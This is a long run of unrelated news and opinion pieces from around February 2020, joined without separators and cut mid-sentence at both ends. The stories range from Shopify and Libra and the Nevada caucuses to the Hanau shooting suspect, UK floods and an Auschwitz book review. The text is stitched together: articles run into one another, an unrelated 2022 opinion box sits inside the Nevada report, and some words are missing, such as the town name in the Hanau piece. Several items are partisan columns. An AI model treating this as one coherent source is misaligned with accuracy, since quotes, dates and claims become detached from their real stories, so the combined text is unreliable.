crypto operations separate from its other endeavours. Shopify will help the Libra Association build "a safe, transparent, and consumer-friendly implementation of a global payment system that breaks down financial barriers for billions of people," said Libra Association's head of policy and communications Dante Disparte, in a statement to The Canadian Press. Shopify's membership comes at a troublesome time for the association. Payment and e-commerce companies Visa, Mastercard, eBay, Stripe, PayPal and Mercado Pago all backed out of the association in recent months, amid privacy and security concerns and calls for more clarity and oversight from regulators. Facebook founder Mark Zuckerberg has been forced before the U.S. House Financial Services Committee to be grilled about the currency and at a U.S. House of Representatives hearing, Democratic representative Brad Sherman of California reportedly called the Libra a "powerful burglary tool." The European Commission has meanwhile said in a memo that Libra "lacks detail" and the information it has received on the currency "remains insufficient." Facebook once said it planned to have 100 member organizations by the time it planned to launch in 2020. The Libra Association's webpage currently only shows 20 founding members. Lutke used Twitter on Friday to defend Shopify's decision to join the platform. "We like to make decisions based on future potential instead of heard movement," he tweeted to someone on the platform who asked about the controversy. "Funnily enough this usually leads to us doing the opposite of the others." Lutke noted that Shopify already supports cryptocurrencies, but said "there isnt any demand to use it by buyers right now though." Jean-Philippe Vergne, a Western University associate professor of strategy who has been researching cryptocurrency since 2014, said Shopify should pay close attention to the impact being connected to Facebook has on its brand, given some of Libra's recent troubles. Ready, Pet, Go! Leesa Dahl looks at everything to do with our furry, fuzzy, feathered, fishy (and more!) pet friends. Arrives in your inbox each Monday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. "Facebook has been involved in a lot of controversy lately ranging from politics to data to privacy to their business model. Facebook comes with a reputational risk for any company, so Shopify is taking that risk," he said. "The other risk is being affiliated with a country whose government or regulator or central bank is speaking against the Libra initiative because it is a private currency that competes with national and state currencies." Despite the risks, Vergne said he thinks this is a "wonderful" opportunity for Shopify because it can use the membership to further challenge e-commerce heavyweights. Shopify is currently trying to compete with Amazon.com Inc. by rolling out a network of fulfilment centres to help U.S. merchants lower shipping costs and ensure timely deliveries. "A lot of companies who were in comparable segments as Shopify have already left (Libra) and are U.S. companies, so that means there is now a lot of space for Shopify to occupy in this niche of powering e-commerce," Vergne said. This report by The Canadian Press was first published Feb. 21, 2020. Companies in this story: (TSX:SHOP) LAS VEGAS No Democratic candidate for president can win the nomination without the overwhelming support of voters of color, and Nevada with its nearly 30 percent Latino, 10 percent African-American, and about 9.5 percent Asian-American and Pacific Islander population is the first contest to offer insight into which of the remaining all-white front-runners can earn it. As early caucus voting began in Las Vegas, appealing to nonwhite voters was a clear focus of the candidates. Senator Bernie Sanders marched to a polling place alongside a crowd of young Latinx voters. Pete Buttigieg answered town hall questions about immigration reform in Spanish. Senator Elizabeth Warren ordered boba tea and strolled the small businesses of Las Vegass Chinatown plaza. Tom Steyer hosted a Black History Month Concert featuring members of En Vogue and Boyz II Men. At Las Vegass First African Methodist Episcopal Church, former Vice President Joe Biden shared stories with congregants about his boyhood experiences visiting black churches. To understand whats on Nevadans minds as they cast their votes, remember that the state is ground zero for some of the most pressing national crises of our moment, many of which disproportionately impact these minority communities. More than one in 10 Nevadans have no health insurance. The state is the worst in the availability of affordable housing for low-income residents. It has the fourth-highest level of income inequality. And Las Vegas, a concrete slab in the belly of the Mojave Desert, is the fastest-warming city in the United States. Opinion Debate Will the Democrats face a midterm wipeout? Mark Penn and Andrew Stein write that "only a broader course correction to the center will give Democrats a fighting chance in 2022" and beyond. write that "only a broader course correction to the center will give Democrats a fighting chance in 2022" and beyond. Matthew Continetti writes that time and again, the biggest obstacle to a red wave hasnt been the Democratic Party. Its been the Republican Party. writes that time and again, the biggest obstacle to a red wave hasnt been the Democratic Party. Its been the Republican Party. Ezra Klein speaks to David Shor, who discusses his fear that Democrats face electoral catastrophe unless they shift their messaging. speaks to David Shor, who discusses his fear that Democrats face electoral catastrophe unless they shift their messaging. Michelle Cottle examines two primary contests that will shake the parties well beyond the states in play. It should be no surprise, then, that a recent poll showed the two most progressive candidates had the highest favorability ratings among likely caucus-goers. Senator Warrens focus on corruption has resonated with Nevadas primarily working-class families, many of whom, just a decade ago, were destroyed by predatory lending. Although her best-case scenario is a second- or third-place finish here, Senator Sanders is well on his way to his largest victory yet of the presidential contest. His promises to reinstate DACA and abolish ICE are enticing to a state population of which 7 percent are undocumented. Hispanic voters and thriving activist organizations form the foundation of his support. Rating: Bhoot: Part 1 The Haunted Ship (A, 117 min) Cast: Vicky Kaushal, Bhumi Pednekar, Ashutosh Rana Direction: Bhanu Pratap Singh Our relationship with horror movies is simple and straightforward: You scare us, we like you. Dont scare us, we dont like you. There is no confusion, no complication in what directors and producers must expend their energy and monies on while working on a spooky. By all accounts, Ram Gopal Verma, who has made a few memorable and many forgettable horror films, is not an easy man to know. As has been reported often, based mostly on his lofty pronouncements on Twitter, he has scant regard or respect for mainstream Bollywood, especially the familial fiefdoms run by the sons and daughters of Bollywoods big old daddies. So ugly and bizarre have these silly tiffs gotten that Karan Johar once responded to one of RGVs bitchy tweets by saying that he was glad to find the Satya director was still alive. And yet, the story goes, that recently when Karan Johar called up RGV to ask for the title Bhoot, the director happily said, sure, take it, enjoy. But having watched RGVs 2003 Bhoot, starring Ajay Devgn and Urmila Matondkar, and Bhoot: Part 1 by Bhanu Pratap Singh now, I sense that behind that generosity lay a malevolent chuckle and the cocky conviction that a horror film under the aegis of Karan Johar will be an item of such peculiar stupidity that it would be a worthy opportunity for future insults. He wasnt wrong. Bhoot: Part 1 opens with an interesting reload of Dharma Productions diya-rangoli logo that forms to Kuch Kuch Hota Hais signature tune. But after that, despite a cast of very capable actors, the film dips into Bollywood's smelly sea of tired, trite, done-to-death cliches of the horror genre to tell the story of families and the janam-janam ka bond that family members share. A paarivarik melodrama, if you please, with some pret aatmas hovering about. As the film opens, we see, through the lens of a camera, a child being recorded over several years. For a bit, we dont know who is recording, or why, till we do. It seems mommy is recording cute baby Meera for the pleasure of her absent daddy. Then, on board a ship, we meet the merchant navy daddy on Meeras third birthday. While the family is busy celebrating her birthday, Meera, carrying her stuffed doll who sings when pressed, seems distracted by someone. She smiles and then follows it. Cut to several years later in Mumbai where Prithvi (Vicky Kaushal) is staring at his framed wedding photos. He works for a shipping company and has the same merchant navy uniform and stripes that Meeras daddy had. In flashback we see happy times Prithvi in love with Sapna (Bhumi Pednekar) who is expecting Megha. But the present seems lonely and sad. Almost immediately we follow Prithvi as he is knocking on large cargo containers in search of girls being trafficked. It seems, he will risk his life and limb to save someone, anyone. This scene is meant to tell us about Prithvis saviour zeal and later we figure out why he is overcompensating. Suddenly one day a huge, abandoned ship drifts onto the shores of Juhu beach and moors itself. There is no one on board Sea Bird, but a haunting story accompanies it. This set up is not bad at all. A huge, silent, daunting intruder arrives at Mumbais doorstep, where a man is in search of a mission. Prithvi, already troubled by his past, is now stalked by something or someone from the ship. In between flashbacks of what transpired on Sea Bird and in Prithvis life, the doll makes sudden, sometimes scary appearances. Prithvi has a dear friend, Riaz, who looks out for him and keeps telling him not to get involved in other peoples business. But Riazs wife senses something amiss and takes him to one Prof. Joshi (Ashutosh Rana) who waves about what we can call a Pret-Aatma Thermostat whose needle and beeps indicate the proximity of ghosts. The film, after interval, is devoted to unravelling the mysteries of two families and, apart from the singing, stalking doll, involves a very bendy young bhootni who is inspired by ladies from The Grudge and The Ring. As the antics of the bura saya increase, Riaz takes to smoking while the film wastes the talents of Vicky and Ashutosh Rana who, if he had been given a chance, could have scared the daylights out of us. But here he is a dull character saddled with dead lines and an idiotic gizmo. Despite the bhoot-beeping gadget, when it comes to saving self and others from bad aatmas, he resorts to Bollywoods favourite chant Om-shom, boom-broom, hreem-kleem Chamumdaya while sprinkling stuff. Eventually, via an old camera and some dusty files, the film winds its way to a mother, Vandana, in a church who gives a dard bhari look while wearing a very nice red dress. We then land in what was once known by all as the Secret Room on the ship. Errr I mean if everyone knew, how could it be the Ok, never mind. The Secret Room is where a story of betrayal and a father who failed his own family meet. All must now redeem themselves and put ghosts of the past and present to rest because, you see, family is everything. So trained and well-versed are we in the tricks and treats of the black arts that almost as soon as Bhoot: Part I opens, we figure that there is a stalking bhoot, while the residents of the film dont. So, when characters do stuff that is guaranteed to pique the interest of bhoots and bhootnis, we laugh loudly at their ignorance. Like when a couple goes on board the Sea Bird and the girl decides to hide in a locker and whispers Bhoooooot. Since we know exactly what will happen to her, we chuckle at her silly obtuseness and imminent passage to the afterlife. In fact, we are so in on the whole bhoot-bhootni business that when, late at night, there is a knock on Prithvis door and he goes to open it, members of the audience in the hall shouted comments and instructions at him: Abe check toh kar le. Koi nahin hai. And after Prithvi sees no one and is closing the door, Ye le. Aa gayi andar. This predictability is engaging and inadvertently funny for a while, till it gets tiring and dull. In horror films, impending danger is scarier than creatures shouting, making faces and crawling up and down walls and ceilings. That's why, when we pay money to get scared, we expect that at least some scenes and creatures will stalk us for three-four days and make us jump at a sudden ring or a gentle hand on our shoulder. Sadly, the scariest thing about Bhoot: Part 1 is the promise that there will be Bhoot: Part 2. By Express News Service CHENNAI: As in a scene out of a Kollywood flick, a few Directorate of Revenue Intelligence (DRI) officials were attacked by a mob numbering over 50 in an alleged bid to help 18 smugglers escape from the city airport, on Wednesday. Two air customs officials are under scanner for their possible connections with the smuggling racket. Sleuths on Thursday raided the house of a tax assistant, who recently resigned from the air customs department, in connection with the case. The incident happened minutes after DRI officials seized over 12 kg of gold from a total of 18 passengers arriving from Dubai, Malaysia, and Sri Lanka. The total worth of seized gold, according to the officials, is over `5 crore. Even as the officials were taking away the suspects, and were about to board their vehicle parked outside the arrival hall, a mob of over 50 people gathered, said a DRI statement. They allegedly hurled abuses at the officials, attacked them, and helped the 18 suspects flee from the spot. Two DRI officers are said to have been injured in the incident. After a while, the suspects returned for unknown reaons to the arrival hall exit. They followed the officers to the S-2 police station, and were told to assemble at the DRI office on Thursday. Of the 18 suspects, 13 turned up on Thursday at the office. Officials are inquiring the gold smuggling case. As a follow-up action, the residential premises of tax assistant, who had earlier resigned from customs department, was searched at Kolathur as it is believed that he indulged in coordinating the smuggling of gold, the statement said. Seven arrested Meanwhile, Air Intelligence Unit sleuths of the Customs department foiled bids to smuggle 5.30 kg gold worth `2.28 crore and arrested seven persons, in separate incidents. Budget session of the state legislature is likely to end on March 20. Mumbai: The Bharatiya Janata Party (BJP) is likely to corner the Maha Vikas Aghadi (MVA) government over issues like farm distress, crime against women, alleged differences among the ruling allies over transfer of the Elgar Parishad case probe to the NIA, during the Budget session of the state legislature that commences on February 24. The budget session of the state legislature, which generally lasts six weeks, could be around four weeks this time as it is likely to end on March 20. The Uddhav Thackeray-led government will present its maiden budget on March 6. Mr Thackeray and his deputy Ajit Pawar, who is the state finance minister, have been holding a series of pre-budget meetings over the last few days. Opposition BJP led by Devendra Fadnavis is likely to corner the three-party dispensation, especially the Shiv Sena, over a host of issues including the Citizenship (Amendment) Act, the National Register of Citizens (NRC) and the National Population Register (NPR), farm loan waiver and spurt in incidents of atrocities against women, political observers said. The government had announced Mahatma Jyotirao Phule Farmer Loan Waiver Scheme during the winter session of the legislature in Nagpur, under which loan of up to Rs 2 lakh taken between April 1, 2015 and March 31, 2019 and which has not been repaid till September 30, 2019 will be eligible for waiver. However, the BJP says that the farmers were yet to get the benefit of the scheme. The government has said that the money will be transferred to the accounts of the beneficiaries from next week. The BJP has also demanded that farmers who have been affected by unseasonal rains, be provided Rs 25,000 per hectare. A senior minister said if Governor B.S. Koshyari signs by February 24 the cabinet decision of increasing the limit of contingency fund by Rs 10,000 crore, the loan waiver amount will be directly credited to the bank accounts of about 19 crore farmers, otherwise the implementation will be delayed. About 33 lakh farmers are expected to benefit from this decision. To avail this scheme, Aadhaar card of farmers need to be linked to their bank accounts. 'Inconspicuous' German shooting suspect kept racist views under wraps The gunman delivers a message to the camera before beginning an attack on a synagogue in Halle By Madeline Chambers and Michael Nienaber BERLIN (Reuters) - A man accused of mounting one of post-war Germany's worst racist attacks was described on Thursday as an inconspicuous trained bank clerk who gave few public signs of the views he was quietly recording in a 24-page manifesto. The 43-year-old German - identified by prosecutors as Tobias R. - is suspected of gunning down nine people in two shisha bars in the town of late on Wednesday, before turning the gun on himself and his elderly mother. Authorities said they had found a document on his home page filled with "obscure thoughts and absurd conspiracy theories" that "pointed to deeply racist views". Reuters has not seen the manifesto but German media printed some of the text which called for the destruction of people across the Middle East, northern Africa and Asia. "In some parts it is very confused, there are many conspiracy theories articulated," Bild newspaper cited terrorism expert Peter Neumann as saying. Those words and theories did not fit with the man that Claus Schmidt thought he knew. "He was totally inconspicuous. There was not a hint of racism or hatred towards foreigners, not even an awkward joke. He was always friendly," said 50-year-old Schmidt, who runs the SV Diana Bergen-Enkheim shooting club that Tobias R. joined. "We have several club members with foreign roots and there was never a problem, Schmidt told Reuters by telephone. Schmidt said Tobias R. had lived and worked in Munich but came back to the area last year after his job ended. Tobias R. practised at the gun club twice or three times a week and had said he wanted to go to the United States. Alongside the manifesto, prosecutors said the home page also linked to at least one YouTube video, posted within the last week. The video, which Reuters saw before it was removed, shows a middle-aged white man with a receding hairline, smartly dressed in a white open-necked shirt and dark jacket. Story continues He addresses Americans in fluent, if accented, English, warning them that their country is under the control of "invisible secret societies". There was no mention of race and it had not been enough to flag him up to authorities. "At the moment there is no information about previous convictions against him or investigations with a political background," the public prosecutor said in a statement. Tobias R.'s home page, which has also now been removed, also showed an interest in America - the main page displayed a picture of a bald-headed eagle. But the rest was focused on his curriculum vitae - from high school in Hanau, to his training as a bank clerk in Frankfurt to his business administration certificate, secured in 2007. (Reporting by Madeline Chambers, Michael Nienaber, Reuters Television; Editing by Andrew Heavens) For many, the main point of investing is to generate higher returns than the overall market. But the main game is to find enough winners to more than offset the losers At this point some shareholders may be questioning their investment in Golden Wheel Tiandi Holdings Company Limited (HKG:1232), since the last five years saw the share price fall 31%. And some of the more recent buyers are probably worried, too, with the stock falling 30% in the last year. Unfortunately the share price momentum is still quite negative, with prices down 17% in thirty days. View our latest analysis for Golden Wheel Tiandi Holdings While the efficient markets hypothesis continues to be taught by some, it has been proven that markets are over-reactive dynamic systems, and investors are not always rational. One flawed but reasonable way to assess how sentiment around a company has changed is to compare the earnings per share (EPS) with the share price. During the five years over which the share price declined, Golden Wheel Tiandi Holdings's earnings per share (EPS) dropped by 0.6% each year. This reduction in EPS is less than the 7.2% annual reduction in the share price. So it seems the market was too confident about the business, in the past. The low P/E ratio of 2.63 further reflects this reticence. The image below shows how EPS has tracked over time (if you click on the image you can see greater detail). SEHK:1232 Past and Future Earnings, February 20th 2020 It's good to see that there was some significant insider buying in the last three months. That's a positive. That said, we think earnings and revenue growth trends are even more important factors to consider. This free interactive report on Golden Wheel Tiandi Holdings's earnings, revenue and cash flow is a great place to start, if you want to investigate the stock further. What about the Total Shareholder Return (TSR)? We've already covered Golden Wheel Tiandi Holdings's share price action, but we should also mention its total shareholder return (TSR). The TSR attempts to capture the value of dividends (as if they were reinvested) as well as any spin-offs or discounted capital raisings offered to shareholders. Its history of dividend payouts mean that Golden Wheel Tiandi Holdings's TSR, which was a 15% drop over the last 5 years, was not as bad as the share price return. Story continues A Different Perspective We regret to report that Golden Wheel Tiandi Holdings shareholders are down 28% for the year. Unfortunately, that's worse than the broader market decline of 1.6%. Having said that, it's inevitable that some stocks will be oversold in a falling market. The key is to keep your eyes on the fundamental developments. Unfortunately, last year's performance may indicate unresolved challenges, given that it was worse than the annualised loss of 3.1% over the last half decade. We realise that Buffett has said investors should 'buy when there is blood on the streets', but we caution that investors should first be sure they are buying a high quality business. It's always interesting to track share price performance over the longer term. But to understand Golden Wheel Tiandi Holdings better, we need to consider many other factors. To that end, you should learn about the 2 warning signs we've spotted with Golden Wheel Tiandi Holdings (including 1 which is is concerning) . There are plenty of other companies that have insiders buying up shares. You probably do not want to miss this free list of growing companies that insiders are buying. Please note, the market returns quoted in this article reflect the market weighted average returns of stocks that currently trade on HK exchanges. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. Franz Tost thinks Honda will stay in Formula 1 after 2021. The Austrian is the boss of Red Bull's second team, the newly-renamed Alpha Tauri. Both Red Bull-owned outfits are powered by Honda, who at present have only committed to the sport for the next two seasons. "I trust that Honda will remain active in the sport for longer than that," Tost told Tiroler Tageszeitung newspaper at the Barcelona test. He said it is natural that in "large companies such as Honda", there will always be those on both sides of the debate about whether the Japanese manufacturer should be in F1. "But in the final judgement, I think the majority will be in support," said Tost. Red Bull-Honda is being billed as a serious title contender for 2020, and Tost thinks the Honda project is going according to plan. "In 2018 we mainly expected a year of learning and feedback," he said. "Then in 2019 we expected the first victory of Honda with Red Bull, and we succeeded. "They have a good chance of winning the title this year," Tost added. (GMM) Mary Kelleher, from Waterfall, Co. Cork, pictured leaving the Four Courts. Pic: Collins Courts A five-star hotel and a water treatment company have apologised to a woman who contracted Legionnaires' disease after using spa facilities. The apology was read out on behalf of the Muckross Park Hotel, Killarney, Co Kerry, and NCH Ireland, trading as Chem Aqua, to Mary Kelleher who caught the disease after staying in the Muckross Park as a special treat to celebrate her silver wedding anniversary. Mr Justice Kevin Cross was yesterday told the case had been settled. Eoin Clifford SC for the defendants, in a statement to the High Court, apologised to Ms Kelleher and her family "for the very serious injuries she suffered following her contraction of Legionnaires' disease at the Muckross Park Hotel in August 2015". It said: "We wish to assure Ms Kelleher as the owners of the hotel, we have made significant investment in the facilities and a best practice legionella prevention programme since we purchased the hotel in 2015. "The hotel has implemented substantial changes to ensure that there is no reoccurrence of this event." The statement added: "We do not underestimate the profound distress and impact that this had and continues to have on her life." The details of the settlement are confidential. Outside court, Ms Kelleher said she was lucky to be alive but she would have to "live with the consequences of contracting Legionnaires' disease for the rest of my life". In a statement read by her solicitor, Amy Connolly, she said little did she know when she went for a break at the hotel that "it would almost claim my life". Ms Kelleher, of Waterfall, Co Cork said she contracted the disease in the hotel and spent three weeks in an induced coma "critically ill and fighting for my life". She added: "I hope that by highlighting this issue the hospitality industry will sit up and take note that Legionnaires' disease is a very real risk to all customers." Spa operators needed "to be alert to the dangers lurking in their water systems" and she hoped her story would raise people's awareness about the disease. "People who go to a spa in Ireland should expect to leave it as healthy as when they entered," she said. Liability had been admitted in the case earlier this week and it was before the court for assessment of damages only. The Foreign Investment Review Board is facing pressure from independent MP Andrew Wilkie to reject a Chinese dairy giants bid for Lions dairy and drinks business after the competition watchdog gave the $600 million offer the greenlight. The Australian Competition and Consumer Commissions (ACCC) decision not to oppose the deal between China Mengniu Dairy Company and Lion was criticised by Mr Wilkie, who said Australians were concerned about foreign ownership of leading brands and strategic assets. China Mengniu Dairy Company is poised to acquire Lion's dairy and drinks business. Credit:Paul Harris "Australians are also concerned with the Chinese in particular and their disproportionate involvement in the Australian dairy industry. Clearly it is undesirable that the supply and price of dairy products in Australia is increasingly at the mercy of companies under obligations to the Chinese government," he said. Mengniu would acquire big-name Australian dairy and juice brands including Dairy Farmers, Big M, Pura, Daily Juice and Berri under the proposed deal, which still needs FIRB approval. The Spanish state-owned rail operator, Renfe, has won a contract worth six billion dollars, (5.56 billion euros), to help build and then run one of its AVE high-speed lines from Houston to Dallas in the American state of Texas. The deal was confirmed by Transport minister, Jose Luis Abalos, on Thursday. It is reported to be the biggest international contract ever won by a Spanish company and is part of a Renfe strategy to diversify to other countries. In the design and construction phase up to 2026, the company will bank 311 million dollars, (288 million euros). This will be followed by a maintenance contract from 2026 to 2042, where income should add up to 5,611 million dollars (5,200 million euros), according to a SER radio report. The high-speed line between the fast-growing cities of Houston and Dallas/Fort Worth will run for 386 kilometres, with trains covering the distance in less than 90 minutes. The preliminary deal to run the infrastructure was agreed last December. It will be the first AVE line in the US. Last May, Renfe of America was set up as a company and the final contract will be signed with Texas Central Partners, the private firm behind the project. Renfe is facing having its services in Spain, where it has a near monopoly, opened up under EU competition rules and so is looking to other markets. (JNS)In the halls of the United Nations, theyre calling it a database, but its more commonly and accurately known as a blacklist. Its a list of more than 100 companies conducting business activities with Jewish communities and Israeli enterprises in the West Bank that was published, a good four years after it was first mooted, by the U.N. Human Rights Council last Wednesday. Given the litter of authoritarian states and theocracies that compose the UNHRC, as well as its notorious Item 7an annual fixed agenda item that focuses the HRC on alleged Israeli misdeeds onlythe eventual release of the blacklist has not come as a huge surprise. The justification for its existence expressed in the official report of Michele Bachelet, the U.N. High Commissioner for Human Rights, is nevertheless worth a closer look. The list comprises companies deemed by the UNHRC to be complicit in encouraging, building and maintaining Israeli settlements in the Occupied Palestinian Territory, including East Jerusalem, and in the occupied Syrian Golan. There are 10 categories that the UNHRC uses to determine exactly how this complicity functions, so if you are conducting business with these Jewish communities, and you are engaged in listed activities in the construction, demolition, private security, banking, natural resource or transport sectors, chances are that you will be on the blacklist. Theoretically, the blacklist is global in its ambition, with a mandate to examine business enterprises, whether domiciled in Israel, the Occupied Palestinian Territory or abroad, carrying out listed activities in relation to the Occupied Palestinian Territory. But when you break down the list of companies by country origin, two features stand out. First, of the 112 companies blacklisted, 95 are Israeli. A plurality of the remaining 17 is American, with the remainder made up of Europeans and one Thai enterprise. Second, despite the 10 categories listed by the UNHRC as justification for inclusion on the blacklist, the vast majority of the companies included fall into only three of them. These are: The provision of services and utilities supporting the maintenance and existence of settlements, including transport (category E); Banking and financial operations helping to develop, expand or maintain settlements and their activities, including loans for housing and the development of businesses (category F); The use of natural resources, in particular water and land, for business purposes (category G). Instructively, two of the remaining categories were entirely absent from the blacklist. No companies were found to have made [U]se of benefits and reinvestments of enterprises owned totally or partially by settlers for developing, expanding and maintaining the settlements (category J). Nor were there any companies responsible for the [C]aptivity of the Palestinian financial and economic markets, as well as practices that disadvantage Palestinian enterprises, including through restrictions on movement, administrative and legal constraints (category I). The targets of the blacklist are judged to be guilty of fostering Israeli economic activity in the disputed territories, rather than the more specific offense of restricting or damaging the Palestinians own economy. Once more, then, the United Nations principal human-rights body has demonstrated that solidarity with the Palestinians does not mean the improvement of their daily lives through education, higher incomes and other benefits, but an institutional fixation with the physical presence of Israeli civilians in occupied territories. The fact the overwhelming majority of the companies on the blacklist are Israeli indicates that there is a more sinister aim at work here. The only international institution in which the BDS movement to boycott Israel has any platform is the UN. The BDS campaign has always insisted that Israel be sanctioned in its entirety, in order to pave the way for the defeat of an occupation that began not in 1967, but in 1948, with the very creation of the Jewish state. The blacklist now being operated by the UNHRC is an approximation of that campaign. Its purpose is not to create a Palestinian state, or develop a Palestinian economy, but to poke at Israels very legitimacy by adopting the tactics of those who dispute Israels right to exist in the first place. All that said, the publication of the blacklist fits very neatly with the present rejectionist spirit of Palestinian diplomacy. Indeed, the United Nations is the ideal vehicle for the Palestinians with its network of official solidarity committees, NGO conferences and internal propaganda departments that promote the Palestinian-refugee right of return to the 1948 territories. But then, that was always the case. The continued prominence of the world body as an advocate for the Palestinians only demonstrates how their cause has failed in other, more impactful forums. Because while the United Nations can sanction the official Palestinian narrative of dispossession and Zionist occupation and while it can lend a patina of credibility to the legal warfare faced by Israel on the international stage, it cannot deliver the Palestinians a better future. As long as they remain the cause celebre of the United Nationsand the United Nations alonethe Palestinian depiction of dialogue and negotiation as a form of betrayal will never be cast aside. Like the 1974 General Assembly resolution equating Zionism with racism or the 2001 Durban anti-racism conference that rounded on Israel, the publication of the blacklist by the UNHRC amounts to an attack on Israels legitimacy that no other member state would be expected to tolerate. Some 75 years after the creation of this world body, the contention that the legal and moral right of the Jewish people to a sovereign existence is inferior when compared to every other nationality in the world continues to haunt its deliberations. Ben Cohen is a New York City-based journalist and author who writes a weekly column on Jewish and international affairs for JNS. Calls for Boris Johnson to visit the flood-hit areas reached a crescendo last night as Britain braced itself for another weekend of torrential rain. He's being portrayed unfairly as a heartless toff, holed up at Chevening, one of the Government's official residences, while half the country is under water. The anger and frustration of those affected by the deluge is understandable. Lives have been lost, hundreds have been forced from their homes and businesses, and thousands more have had their possessions ruined. In some parts, the flooding has been of biblical proportions. Those of us who have been fortunate enough to avoid the worst of the storms can only begin to imagine the anguish of people who have been hardest hit. Our hearts go out to them. Calls for Boris Johnson to visit the flood-hit areas reached a crescendo last night as Britain braced itself for another weekend of torrential rain Without wanting to trivialise their plight, I was furious when an upstairs shower sprang a leak and sent water pouring through the ceiling and down the walls of our living room below. Heaven knows how I would have reacted if the entire ground floor was under four feet of filthy river water. But that's the grim reality facing so many of our fellow citizens. Even when the waters subside, they're going to be cleaning up for months to come. And all those expensive TV adverts featuring the likes of Hollywood star Harvey Keitel won't mean their insurance claims are settled any quicker, either. Naturally, at times like these, there's a tendency to look for scapegoats. For the Left, it's all down to climate change, savage Tory cuts and, probably, Brexit, too. He's being portrayed unfairly as a heartless toff, holed up at Chevening, one of the Government's official residences, while half the country is under water I'm only surprised the Greta Thunberg fan club haven't started referring to the recent wet weather as Storm Boris, just as they accused George W. Bush of being responsible for the hurricane which devastated New Orleans a few years ago. Global-warming sceptics blame European environmental directives, homegrown eco-mentalists who refuse to dredge rivers in order to provide a congenial breeding ground for the Depressed River Mussel and other assorted wildlife and the lunacy of building on flood plains to provide homes for a population swelled by unlimited immigration. You don't have to be Hercule Poirot to work out which side of the argument I come down on. But that's not the point. The Government, the emergency services and heroic local residents are doing all they can to mitigate the damage and help those in distress. Politicising the floods is pointless, although that won't stop anyone pointing the finger. But I'm not going to join the chorus of criticism. Lives have been lost, hundreds have been forced from their homes and businesses, and thousands more have had their possessions ruined (pictured: a woman stands in floodwater in her home in Shropshire) To be honest, I'm a little surprised that Boris has been keeping his head down lately. For someone who has a long track record of shameless self-promotion, he's been remarkably restrained since winning the election. By now, I would have expected the old Boris to have been filmed standing majestically on the prow of a boat floating down the River Trent, like that famous painting of George Washington crossing the Delaware. Instead, he's resisted the temptation and let his ministers, the fire brigade and all the other relevant authorities get on with their jobs, while making money available for flood relief. Actually, I find his reluctance to take a starring role in this particular disaster movie refreshing, especially given the grandstanding of some of his predecessors. Just imagine if Tony Blair was still in charge. He'd be helicoptered around the country, ostentatiously consoling flood victims with all the sincerity of an American television evangelist. Just imagine if Tony Blair was still in charge. He'd be helicoptered around the country, ostentatiously consoling flood victims with all the sincerity of an American television evangelist Blair was a master when it came to turning someone else's misery into a photo-opportunity. If he'd been in No 10 today, he would no doubt have taken it upon himself to issue a tear-stained tribute to the tragic Caroline Flack: 'She was the People's Presenter.' This is a man, after all, who thought it appropriate to issue a statement of condolence on the day Frank Sinatra died. Blair was always on the lookout for 'eye-catching initiatives' for which he could take credit. Gordon Brown, despite being a more dour character, wasn't much better. For a while, immediately after he took over from Blair, Gordon decided to run the country as a one-man band, trampling over his subordinates as he stampeded towards the nearest TV camera. During a suspected outbreak of foot and mouth, he even called a snap press conference about five minutes after a sheep sneezed in Lanarkshire to announce he was taking personal charge. Gordon Brown, despite being a more dour character, wasn't much better. For a while, immediately after he took over from Blair, Gordon decided to run the country as a one-man band There's always the danger, though, that these cynical stunts can backfire. In one column, I compared Brown to Don Partridge a real-life one-man band, who had a couple of novelty hits in the Sixties, Rosie and Blue Eyes. A few days later I received a letter from Don Partridge himself, asking me never again to mention his name in the same sentence as Gordon Brown. You couldn't make it up. Still, on balance, Boris probably should pay a state visit to a few of the worst-hit areas. Sufficient time has elapsed to deflect any accusation that he is indulging in Blair-style knee-jerk exploitation. One man he could call on is Vic Haddock, who has been washed out of his home at Ironbridge, Shropshire. Mr Haddock, 60, runs a canoe hire business on the Severn. He doesn't blame Boris, but he would like to find out precisely who is responsible for the lack of effective flood protection. And he hopes the Prime Minister might be able to help. One man he could call on is Vic Haddock, who has been washed out of his home at Ironbridge, Shropshire He told MailOnline: 'We live by a river. I bought this of my own choice, my own accord. I'm a staunch supporter of Boris. I've supported him, now come on Boris, come and support me... I'll buy you a pint.' Sounds like some people would appreciate a bit of moral support. Boris would certainly get a warm, if wet, welcome from Vic Haddock. But elsewhere, he might receive a more hostile reception, especially from folk not especially well disposed towards the Conservatives. Mrs Thatcher found that out during the 1980s. The Great Lady wasn't immune from rushing to the scene of every IRA bombing and train crash to console the victims. No doubt she meant well, but not everyone was pleased to see her. Private Eye magazine even produced a 'Thatch Card' which readers could carry in their wallets, like blood donor cards, and hand to medical staff if they were ever admitted to hospital following, say, a nasty motorway pile-up. It read: 'In the event of an accident, the holder of this card wishes it to be known that he/she does NOT wish to be visited by Mrs Thatcher under any circumstances whatsoever.' Boris doesn't incite the same kind of vile, visceral hatred which was directed towards Thatch. He generally manages to put a smile on the faces of even those who would never vote for him. In the past, I've compared him to Arnold Bennett's character Denry Machin, in his novel The Card, whose great gift was 'cheering us all up'. As Vic Haddock says: 'Come on, Boris.' If anyone ever needed cheering up, it's those poor souls hit by flooding. You can start by buying Vic a pint. I'm sure he won't mind rowing you to the pub. History The Nine Hundred: The Extraordinary Young Women of the First Official Transport to Auschwitz Heather Dune Macadam Hodder & Stoughton, $34.99 "We were teenagers. We weren't adults. We were still young enough to want to throw temper tantrums, to be lazy, to shirk a duty or sleep late. Only a month ago we were giggling and gossiping about the latest bit of news in our community, and now we were seeing girls dying, girls our age who should live to become old ladies like I am now, already dead before their time. And then there is the question, will that be me too? Will I be dead soon, too?" The main gates at Auschwitz, through which the women featured in Heather Dune Macadam's book were taken. Credit:Getty Images The Nine Hundred tells the harrowing story of Edith Grosman quoted above from an interview with Heather Dune Macadam conducted for this book along with the equally compelling stories of many of the other nearly 1000 young Jewish women who were taken from towns and villages in Slovakia and deported to Auschwitz in March 1942. In a secret deal with the Nazis, the women had been "sold" by the Slovak government as slave labour. Since the women were among the very first victims of the so-called Final Solution, they could not have known what was going to happen to them. Today i.e. February 22 is the death anniversary of Kasturba Gandhi. Apart from being the wife of Mahatma Gandhi, Kasturba Gandhi also had her own 